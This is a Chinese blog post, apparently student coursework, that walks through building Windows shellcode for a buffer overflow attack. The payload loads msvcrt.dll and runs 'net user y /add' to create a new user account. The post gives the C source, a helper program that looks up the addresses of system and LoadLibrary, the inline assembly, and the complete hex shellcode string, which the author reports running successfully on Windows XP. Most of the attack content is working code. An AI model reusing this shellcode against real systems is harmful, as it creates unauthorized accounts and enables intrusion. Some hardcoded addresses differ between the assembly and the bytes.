缓冲区溢出攻击(二)添加用户

我们接着(一)继续实现

Shell code编写

#include <windows.h>
int main()
{
       LoadLibrary("msvcrt.dll");
       system("net user y /add");
       return 0;
}

上诉代码可以实现再windows里添加一名标准用户“y"

但是要将上面的语句改为汇编语言,就必须先找到
system, LoadLibrary
的地址


#include <windows.h>   
#include <stdio.h>   
typedef void (*MYPROC)(LPTSTR);   
int main()   
{      
        HINSTANCE LibHandle;   
        MYPROC ProcAdd;   
        LibHandle = LoadLibrary("msvcrt");   
        printf("msvcrt LibHandle = //x%x\n", LibHandle);   
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");    
        printf("system = //x%x\n", ProcAdd);   
   
        LibHandle = LoadLibrary("kernel32");   
        printf("kernel32 LibHandle = //x%x\n", LibHandle);   
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");      
        printf("LoadLibrary = //x%x\n", ProcAdd);   
        return 0;   
}   

运行后找到对应的地址
在这里插入图片描述

汇编语言

LoadLibrary(“msvcrt.dll”)

_asm   
    {   
        //   LoadLibrary("msvcrt.dll");   
            push ebp   
            mov ebp,esp   
            xor eax,eax   
            push eax   
            push eax   
            push eax   
            mov byte ptr[ebp-0Ch],4Dh   
            mov byte ptr[ebp-0Bh],53h   
            mov byte ptr[ebp-0Ah],56h   
            mov byte ptr[ebp-09h],43h   
            mov byte ptr[ebp-08h],52h   
            mov byte ptr[ebp-07h],54h   
            mov byte ptr[ebp-06h],2Eh   
            mov byte ptr[ebp-05h],44h   
            mov byte ptr[ebp-04h],4Ch   
            mov byte ptr[ebp-03h],4Ch   
            lea eax,[ebp-0Ch]   
            push eax   
            mov edx,0x7620de15 //LoadLibrary  
            call edx
            }

system(“net user y /add”);

_asm   
    {   
mov esp,ebp ;        把ebp的内容赋值给esp
push ebp ;             保存ebp,esp则减4
mov ebp,esp ;        给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;  压入0,esp-4,作用是构造字符串的结尾\0字符
push edi
push edi
push edi ;   加上上面,一共有16个字节,用来放“net user c /add” 
mov byte ptr [ebp-0Fh],6eh ;n
mov byte ptr [ebp-0eh],65h ;e 
mov byte ptr [ebp-0dh],74h ;t
mov byte ptr [ebp-0ch],20h ;
mov byte ptr [ebp-0bh],75h ;u
mov byte ptr [ebp-0ah],73h ;s
mov byte ptr [ebp-09h],65h ;e
mov byte ptr [ebp-08h],72h ;r
mov byte ptr [ebp-07h],20h ;
mov byte ptr [ebp-06h],79h ;y
mov byte ptr [ebp-05h],20h ;
mov byte ptr [ebp-04h],2Fh ;/
mov byte ptr [ebp-03h],61h ;a
mov byte ptr [ebp-02h],64h ;d
mov byte ptr [ebp-01h],0h ;0
lea eax,[ebp-0fh] ;
push eax ;
mov eax, 0x7723b177 ;                   system函数地址
call eax ;                              调用system
	}

我们采取(一)中同样的办法
设置断点
alt+8找到对应地址
在这里插入图片描述
在这里插入图片描述
alt+6
在这里插入图片描述
在处理后我们得到了
shellcode=\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA\x15\xDE\xFA\x76\xFF\xD2\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC6\x45\xF1\x6E\xC6\x45\xF2\x65\xC6\x45\xF3\x74\xC6\x45\xF4\x20\xC6\x45\xF5\x75\xC6\x45\xF6\x73\xC6\x45\xF7\x65\xC6\x45\xF8\x72\xC6\x45\xF9\x20\xC6\x45\xFA\x79\xC6\x45\xFB\x20\xC6\x45\xFC\x2F\xC6\x45\xFD\x61\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x8D\x45\xF1\x50\xB8\x77\xB1\x23\x77\xFF\xD0

溢出

当我想在(一)的基础上直接运行出现了错误,在询问了同学后,被告知可以在dev成功运行
(还有人是通过删除几个/x41(a)后获得了成功)
这边是在xp上实现了的(如果明天课上能弄清楚道理,再回来更新)
在这里插入图片描述
在这里插入图片描述

参考书目

Q版缓冲区溢出教程

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值